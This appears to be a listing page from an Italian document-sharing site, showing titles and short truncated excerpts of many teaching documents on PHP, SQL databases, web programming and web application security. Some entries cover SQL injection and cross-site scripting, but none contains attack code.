Corso di Web Programming 11. PHP - Complementi Paolo Milazzo Dipartimento di Informatica, Università di Pisa http://www.di.unipi.it/ milazzo milazzo di.unipi.it Corso di Laurea in Informatica Applicata
--- PREMESSE INTRODUZIONE. .:luxx:.
SQL INJECTION --- SICUREZZA.:luxx:. PREMESSE Questa guida accenna ad alcuni metodi di SQL injection e si sofferma sulla prevenzione di tali attacchi, per comprendere al meglio il testo è necessaria una
Lezione 9. Applicazioni tradizionali
Lezione 9 Applicazioni tradizionali Pag.1 Sommario Concetti trattati in questa lezione: SQL nel codice applicativo Cursori API native ODBC Pag.2 SQL nel codice applicativo I comandi SQL possono essere
Documentazione API web v 1.0
Documentazione API web v 1.0 Web: www.kalliopepbx.it Supporto tecnico: kalliope-pbx@netresults.it Documentazione API web v1.0-1 - Rev.: 16-11-2012 Documentazione API web v1.0-2 - Rev.: 16-11-2012 Changelog
Sicurezza Informatica: Tecniche di SQL INJECTION
Sicurezza Informatica: Tecniche di SQL INJECTION Pietro Bongli Aprile 2004 N.B. L'informazione contenuta in queste pagine è divulgata per scopi puramente didattici e non per ni illegali. Structured Query
Il linguaggio SQL. è di fatto lo standard tra i linguaggi per la gestione di data base relazionali.
(Structured Query Language) : Il linguaggio è di fatto lo standard tra i linguaggi per la gestione di data base relazionali. prima versione IBM alla fine degli anni '70 per un prototipo di ricerca (System
Sistemi per la gestione di database: MySQL ( )
Sistemi per la gestione di database: MySQL ( ) Relational Database e Relational Database Management System Un database è una raccolta di dati organizzata in modo da consentire l accesso, il reperimento
La tecnologia ASP.NET e i database
Introduzione alle pagine dinamiche Con il linguaggio HTML si possono creare delle pagine Web statiche. Se invece volessimo creare delle pagine Web dinamiche, pagine il cui codice html viene generato al
TeamPortal. Servizi integrati con ambienti Gestionali
TeamPortal Servizi integrati con ambienti Gestionali 12/2013 Accesso da remoto Accesso da remoto Esempio 1 Sul Firewall devono essere aperte le porte 80 : http (o quella assegnata in fase di installazione/configurazione
Sicurezza delle applicazioni web: attacchi
Università degli Studi di Milano Facoltà di Scienze e Tecnologie Anno Accademico 2013/2014 Sicurezza delle applicazioni web: attacchi Srdan Matic Aristide Fattori
Esercitazione 8. Basi di dati e web
Esercitazione 8 Basi di dati e web Rev. 1 Basi di dati - prof. Silvio Salza - a.a. 2014-2015 E8-1 Basi di dati e web Una modalità tipica di accesso alle basi di dati è tramite interfacce web Esiste una
Riccardo Dutto, Paolo Garza Politecnico di Torino. Riccardo Dutto, Paolo Garza Politecnico di Torino
Integration Services Project SQL Server 2005 Integration Services Permette di gestire tutti i processi di ETL Basato sui progetti di Business Intelligence di tipo Integration services Project SQL Server
Approfondimenti. Il controllo di SQL Injection nelle pagine ASP e ASP.NET. U.A. 5 - Database in rete con le pagine ASP e ASP.
U.A. 5 - Database in rete con le pagine ASP e ASP.NET 269 Il controllo di SQL Injection nelle pagine ASP e ASP.NET Approfondimenti Con il termine SQL Injection si intende l aggiunta di istruzioni SQL nell
MySQL Database Management System
MySQL Database Management System http://www.mysql.com/ DATABASE RELAZIONALI Un database è una collezione strutturata di informazioni. I database sono delle strutture nelle quali è possibile memorizzare
INFORMATICA. Applicazioni WEB a tre livelli con approfondimento della loro manutenzione e memorizzazione dati e del DATABASE.
INFORMATICA Applicazioni WEB a tre livelli con approfondimento della loro manutenzione e memorizzazione dati e del DATABASE. APPLICAZIONI WEB L architettura di riferimento è quella ampiamente diffusa ed
Il Protocollo HTTP e la programmazione di estensioni Web
Il Protocollo HTTP e la programmazione di estensioni Web 1 Il protocollo HTTP È il protocollo standard inizialmente ramite il quale i server Web rispondono alle richieste dei client (prevalentemente browser);
Le mie immagini su WEB: l ABC per iniziare. 6 maggio 2008
Le mie immagini su WEB: l ABC per iniziare 6 maggio 2008 1 1) Le nostre immagini su internet; perchè? 2) il WEB...il pc di chi accede (il client)...il sito (server); 3) costruzione del sito (design, strumenti
Uso delle basi di dati DBMS. Cos è un database. DataBase. Esempi di database
Uso delle basi di dati Uso delle Basi di Dati Il modulo richiede che il candidato comprenda il concetto di base dati (database) e dimostri di possedere competenza nel suo utilizzo. Cosa è un database,
Scaletta. Estensioni UML per il Web. Applicazioni web - 2. Applicazioni web. WAE: Web Application Extension for UML. «Client page»
Scaletta Estensioni UML per il Web Michele Zennaro 14-05-2004 Le applicazioni web Scopo di un estensione UML per il web Due punti di vista Uno più astratto Uno più vicino ai file fisici conclusivo Commenti
Database e reti. Piero Gallo Pasquale Sirsi
Database e reti Piero Gallo Pasquale Sirsi Approcci per l interfacciamento Il nostro obiettivo è, ora, quello di individuare i possibili approcci per integrare una base di dati gestita da un in un ambiente
Esercitazione query in SQL L esercitazione viene effettuata sul database viaggi e vacanze che prevede il seguente modello E/R:
Esercitazione query in SQL L esercitazione viene effettuata sul database viaggi e vacanze che prevede il seguente modello E/R: Si consiglia di creare il data base, inserire i dati nelle tabelle, provare
MODULO 1 PARTE 3. Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni. Goy - a.a. 2012/2013 Programmazione Web 1
MODULO 1 PARTE 3 Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni Goy - a.a. 2012/2013 Programmazione Web 1 Cookie - I Cookie = variabili che il server salva (*) sul client come file
Sicurezza delle applicazioni web: attacchi
Università degli Studi di Milano Facoltà di Scienze e Tecnologie Anno Accademico 2013/2014 Sicurezza delle applicazioni web: attacchi Srdan Matic Aristide Fattori
Lavorare con MySQL Parte Seconda.
Lavorare con MySQL Parte Seconda. PHP, dalla versione 4.0, usufruisce difunzioni native per colloquiare con MySQL, senza appoggiarsi ad alcuna libreria o modulo esterno. In questa lezione verranno esaminate
WHITE PAPER Per Sql-Injection si intendono comunemente tutti quegli attacchi ad un'applicazione, solitamente Web, in cui il programma esegue query su di un database SQL utilizzando variabili passate dall'utente
Corso Sistemi Informativi Avanzati. Programma 30 set 2015. Installazione Macchina Virtuale. Introduzione alla BI nelle Aziende.
Programma 30 set 205 Installazione Macchina Virtuale Introduzione alla BI nelle Aziende Introduzione SQL Macchina Virtuale È un emulazione di un computer su un altro computer Stesso punto di partenza per
MySQL Database Management System
MySQL Database Management System II parte Progetto gestione booking prenotazioni on-line 1. Progettazione e creazione struttura database che chiameremo booking. 2. Progettazione e creazione di un form
Web Programming Specifiche dei progetti
Web Programming Specifiche dei progetti Paolo Milazzo Anno Accademico 2010/2011 Argomenti trattati nel corso Nel corso di Web Programming sono state descritti i seguenti linguaggi (e tecnologie): HTML
Protocolli e architetture per WIS
Protocolli e architetture per WIS Web Information Systems (WIS) Un Web Information System (WIS) usa le tecnologie Web per permettere la fruizione di informazioni e servizi Le architetture moderne dei WIS
Cookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:
Cookie e Webstorage Un cookie (letteralmente biscotto) è un pacchetto di informazioni che viene salvato sul computer dell utente. In successive sessioni di collegamento a Internet (normalmente per un periodo
1) Il client(browser utilizzato) invia al server i dati inseriti dall utente. Server
2) Il Server richiama l'interprete PHP il quale esegue i comandi contenuti nel file.php specificato nell'attributo action del tag form creando un file HTML sulla base dei dati inviati dall utente 1) Il
REOL-Services Quick Reference Ver. 1.1 Tecno Press Srl. 1
In questa semplice guida sono riportate tutte le informazioni relative alla prima registrazione e quelle relative alla configurazione dell ambiente di lavoro per poter utilizzare al meglio la nostra suite
POSTECERT POSTEMAIL CERTIFICATA GUIDA ALL USO DELLA WEBMAIL
POSTECERT POSTEMAIL CERTIFICATA GUIDA ALL USO DELLA WEBMAIL Sommario Pagina di accesso... 3 Posta in arrivo... 4 Area Posta... 5 Area Contatti... 8 Area Opzioni... 10 Area Cartelle... 13 La Postemail Certificata
b) Dinamicità delle pagine e interattività d) Separazione del contenuto dalla forma di visualizzazione
Evoluzione del Web Direzioni di sviluppo del web a) Multimedialità b) Dinamicità delle pagine e interattività c) Accessibilità d) Separazione del contenuto dalla forma di visualizzazione e) Web semantico
Obiettivi d esame PHP Developer Fundamentals on MySQL Environment
Obiettivi d esame PHP Developer Fundamentals on MySQL Environment 1.0 Ambiente di sviluppo 1.1 Web server e database MySQL Comprendere la definizione dei processi che si occupano di fornire i servizi web
Costruzione di Sit Web con PHP e MySQL. Lezione 7 - Esercitazione - Introduzione a MySQL: le tabelle, i tpi di dato, le query
Costruzione di Sit Web con PHP e MySQL Lezione 7 - Esercitazione - Introduzione a MySQL: le tabelle, i tpi di dato, le query Esercitazione In questa lezione si farà insieme una seconda esercitazione che
Client - Server. Client Web: il BROWSER
Client - Server Client Web: il BROWSER Il client Web è un applicazione software che svolge il ruolo di interfaccia fra l utente ed il WWW, mascherando la complessità di Internet. Funzioni principali Inviare
Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting
Pattern Recognition and Applications Lab Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting Dott. Ing. Igino Corona igino.corona (at) diee.unica.it Corso Sicurezza
Indice. 1.13 Configurazione di PHP 26 1.14 Test dell ambiente di sviluppo 28
Indice 25 184 Introduzione XI Capitolo 1 Impostazione dell ambiente di sviluppo 2 1.1 Introduzione ai siti Web dinamici 2 1.2 Impostazione dell ambiente di sviluppo 4 1.3 Scaricamento di Apache 6 1.4 Installazione
VntRAS Communication Suite
VntRAS Communication Suite Manuale di Riferimento 1 Indice pag. 1. Introduzione 3 2. Interfaccia web di amministrazione 4 3. Programmazione 5 4. Programmazione pagine HTML pubbliche 8 2 Introduzione Il
Esercitazione 1. Sistemi Informativi T. Versione elettronica: L01.2.DDLDMLbase.pdf
Esercitazione 1 SQL: DDL e DML di base Sistemi Informativi T Versione elettronica: L01.2.DDLDMLbase.pdf Prime cose da fare Fare login sul PC usando lo username di Facoltà Procedura descritta qui: http://ccib.ing.unibo.it/content/account
Che cos'è un modulo? pulsanti di opzione caselle di controllo caselle di riepilogo
Creazione di moduli Creazione di moduli Che cos'è un modulo? Un elenco di domande accompagnato da aree in cui è possibile scrivere le risposte, selezionare opzioni. Il modulo di un sito Web viene utilizzato
Carlo, Pelliccioni Security
OWASP Top 10 2007 Le nostre informazioni sono veramente al sicuro? Carlo, Pelliccioni Security Consultant, @Mediaservice.net OWASP-Day Università La Sapienza Rome 10 th September 2007 carlo@mediaservice.net
Quesiti 6 e 7) - 9 - Creiamo il file query4.php su una piattaforma OPEN SOURCE usando in linguaggio PHP ospitato su un webserver APACHE per interrogare un database MYSQL. Tale file verrà attivato cliccando
Come modificare la propria Home Page e gli elementi correlati
Come modificare la propria Home Page e gli elementi correlati Versione del documento: 3.0 Ultimo aggiornamento: 2006-09-15 Riferimento: webmaster (webmaster.economia@unimi.it) La modifica delle informazioni
SITI-Reports. Progetto SITI. Manuale Utente. SITI-Reports. ABACO S.r.l.
Progetto SITI Manuale Utente SITI-Reports ABACO S.r.l. ABACO S.r.l. C.so Umberto, 43 46100 Mantova (Italy) Tel +39 376 222181 Fax +39 376 222182 www.abacogroup.eu e-mail : info@abacogroup.eu 02/03/2010
Dispensa di database Access
Dispensa di database Access Indice: Database come tabelle; fogli di lavoro e tabelle...2 Database con più tabelle; relazioni tra tabelle...2 Motore di database, complessità di un database; concetto di
OSSIF WEB. Manuale query builder
OSSIF WEB Manuale query builder - Maggio 2010 1) Sommario 1) SOMMARIO... 2 INTRODUZIONE... 3 Scopo del documento... 3 Struttura del documento... 3 Descrizione dell interfaccia grafica... 3 SELEZIONE DI
DBMS (Data Base Management System)
Cos'è un Database I database o banche dati o base dati sono collezioni di dati, tra loro correlati, utilizzati per rappresentare una porzione del mondo reale. Sono strutturati in modo tale da consentire
Basi di dati. Il Linguaggio SQL. K. Donno - Il Linguaggio SQL
Basi di dati Il Linguaggio SQL Data Definition Language (DDL) Data Definition Language: insieme di istruzioni utilizzate per modificare la struttura della base di dati Ne fanno parte le istruzioni di inserimento,
UNIVERSITÀ DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica. Simona Ullo
UNIVERSITÀ DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Simona Ullo ATTACCHI ALLE APPLICAZIONI WEB: SQL INJECTION E CROSS SITE SCRIPTING (XSS) Tesina di Sicurezza
Applicazioni Web: meccanismi per il passaggio di informazioni tramite HTTP Corso di Applicazioni Telematiche
Applicazioni Web: meccanismi per il passaggio di informazioni tramite HTTP Corso di Applicazioni Telematiche A.A. 2006-07 Lezione n.10 parte II Prof. Roberto Canonico Università degli Studi di Napoli Federico
Applicazioni software e gestione delle vulnerabilità: un caso concreto di successo
Applicazioni software e gestione delle vulnerabilità: un caso concreto di successo Roberto Obialero, GCFW, GCFA Fabio Bucciarelli, GCFA, CEH Agenda Analisi del contesto (attacchi,
Benvenuti. Luca Biffi, Direttore Tecnico di Achab supporto@achab.it. Achab techjam Archive Server for MDaemon
Benvenuti Luca Biffi, Direttore Tecnico di Achab supporto@achab.it Achab techjam Archive Server for MDaemon Usare Archive Server for MDaemon al 100%: guida alle funzionalità "nascoste" Achab 2 Agenda Come
Lezione V. Aula Multimediale - sabato 29/03/2008
Lezione V Aula Multimediale - sabato 29/03/2008 LAB utilizzo di MS Access Definire gli archivi utilizzando le regole di derivazione e descrivere le caratteristiche di ciascun archivio ASSOCIAZIONE (1:1)
MDAC. Attualmente la versione disponibile di MDAC è la 2.8 ma faremo riferimento alla 2.6. ADO Active Data Objects ADO OLE DB ODBC
MDAC MDAC è l acronimo di Microsoft Data Access Component e fa parte della tecnologia Microsoft denominata Universal Data Access (UDA). Mette a disposizione una serie di componenti per l accesso a svariate
DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER
DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER L architettura CLIENT SERVER è l architettura standard dei sistemi di rete, dove i computer detti SERVER forniscono servizi, e computer detti CLIENT, richiedono
Sito web parrocchiale: STRUMENTI E PROGRAMMI
Sito web parrocchiale: STRUMENTI E PROGRAMMI tratteremo di... DIOCESI DI BRESCIA Linguaggi HTML,CSS Siti STATICI Siti DINAMICI e codice PHP CMS JOOMLA! Linguaggio HTML HTML: è il linguaggio con cui potete
Siti interattivi e dinamici. in poche pagine
Siti interattivi e dinamici in poche pagine 1 Siti Web interattivi Pagine Web codificate esclusivamente per mezzo dell HTML non permettono alcun tipo di interazione con l utente, se non quella rappresentata
Il Web Server e il protocollo HTTP
Corso PHP Parte 2 Il Web Server e il protocollo HTTP E un programma sempre attivo che ascolta su una porta le richieste HTTP. All arrivo di una richiesta la esegue e restituisce il risultato al browser,
Manuale di utilizzo del sito ASUWEB
Manuale di utilizzo del sito ASUWEB Versione 1.0 maggio 2007 1. Introduzione:... 3 2. Come registrarsi:... 3 3. I diversi livelli di abilitazione degli utenti:... 5 4. UTENTI IN SOLA LETTURA... 5 4.1.
SQL Server 2005. Introduzione all uso di SQL Server e utilizzo delle opzioni Olap. Dutto Riccardo - SQL Server 2005.
SQL Server 2005 Introduzione all uso di SQL Server e utilizzo delle opzioni Olap SQL Server 2005 SQL Server Management Studio Gestione dei server OLAP e OLTP Gestione Utenti Creazione e gestione DB SQL
Indice generale. Capitolo 3 Introduzione a PHP...43 Sintassi e istruzioni di base... 45 Variabili, operatori e commenti... 47 Array...
Prefazione...xiii A chi si rivolge il libro... xiv Struttura e contenuti del libro... xiv Dove trovare aiuto... xvii Le newsletter di SitePoint... xviii I vostri commenti... xviii Convenzioni adottate
DBMS. Esempi di database. DataBase. Alcuni esempi di DBMS DBMS. (DataBase Management System)
(DataBase Management System) Sistemi di ges3one di basi di da3 Un Database Management System è un sistema software progettato per consentire la creazione e manipolazione efficiente di database (collezioni
SQL Server 2005. Integration Services. SQL Server 2005: ETL - 1. Integration Services Project
atabase and ata Mi ni ng Group of P ol itecnico di Torino atabase and ata Mi ni ng Group of P ol itecnico di Torino atabase and data mining group, SQL Server 2005 Integration Services SQL Server 2005:
Progettazione Web Applicazioni client-server
Progettazione Web Applicazioni client-server Sviluppo di un'applicazione Web integrando: HTML MySQL PHP Apache Applicativi utilizzabili: gestione database: JDER, MySQL Workbench, HeidiSQL (Win), DBeaver
Progetto ittorario Anno scol. 2013-2014
PROGETTO ittorario Scopo: Creazione di una pagina web che mostri l orario di un docente, della classe della materia o dell aula a discrezione dell utente. Sviluppatori: Progetto sviluppato dalla classe
SETEFI. Marco Cantarini, Daniele Maccauro, Domenico Marzolla. 19 Aprile 2012
e VIRTUALCARD 19 Aprile 2012 e VIRTUALCARD Introduzione Il nostro obiettivo é quello di illustrare la struttura e le caratteristiche di fondo che stanno alla base delle transazioni online operate tramite
Corso Analista Programmatore Web PHP Corso Online Analista Programmatore Web PHP
Corso Analista Programmatore Web PHP Corso Online Analista Programmatore Web PHP Accademia Futuro info@accademiafuturo.it Programma Generale del Corso Analista Programmatore Web PHP Tematiche Trattate
Corso basi di dati Introduzione alle ASP
Corso basi di dati Introduzione alle ASP Gianluca Di Tomassi Email: ditomass@dia.uniroma3.it Università di Roma Tre Web statico e Web interattivo In principio il Web era una semplice collezione di pagine
Wordpress. Acquistare un sito web. Colleghiamoci con il sito www.aruba.it
www.creativecommons.org/ Wordpress Wordpress è una piattaforma gratuita per creare siti web. In particolare è un software installato su un server web per gestire facilmente contenuti su un sito senza particolari
COME CREARE E COLLEGARSI AD UN DATABASE MICROSOFT SQL SERVER O SUN MYSQL
Codice documento 08052301 Data creazione 23/05/2008 Ultima revisione 06/06/2013 Software DOCUMATIC Versione 7 COME CREARE E COLLEGARSI AD UN DATABASE MICROSOFT SQL SERVER O SUN MYSQL Questo documento spiega
Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database
Corso di Informatica Modulo T3 B3 Programmazione lato server 1 Prerequisiti Architettura client/server Conoscenze generali sui database 2 1 Introduzione Lo scopo di questa Unità è descrivere gli strumenti
Introduzione ai Sistemi di Gestione di Basi di Dati XML
Introduzione ai Sistemi di Gestione di Basi di Dati Introduzione ai Sistemi di Gestione di Basi di Dati Obiettivi Memorizzare ed estrarre documenti da RDBMS. Trasformare dati tabellari in dati e viceversa.
Corso di Informatica Modulo T3 B1 Programmazione web
Corso di Informatica Modulo T3 B1 Programmazione web 1 Prerequisiti Architettura client/server Elementi del linguaggio HTML web server SQL server Concetti generali sulle basi di dati 2 1 Introduzione Lo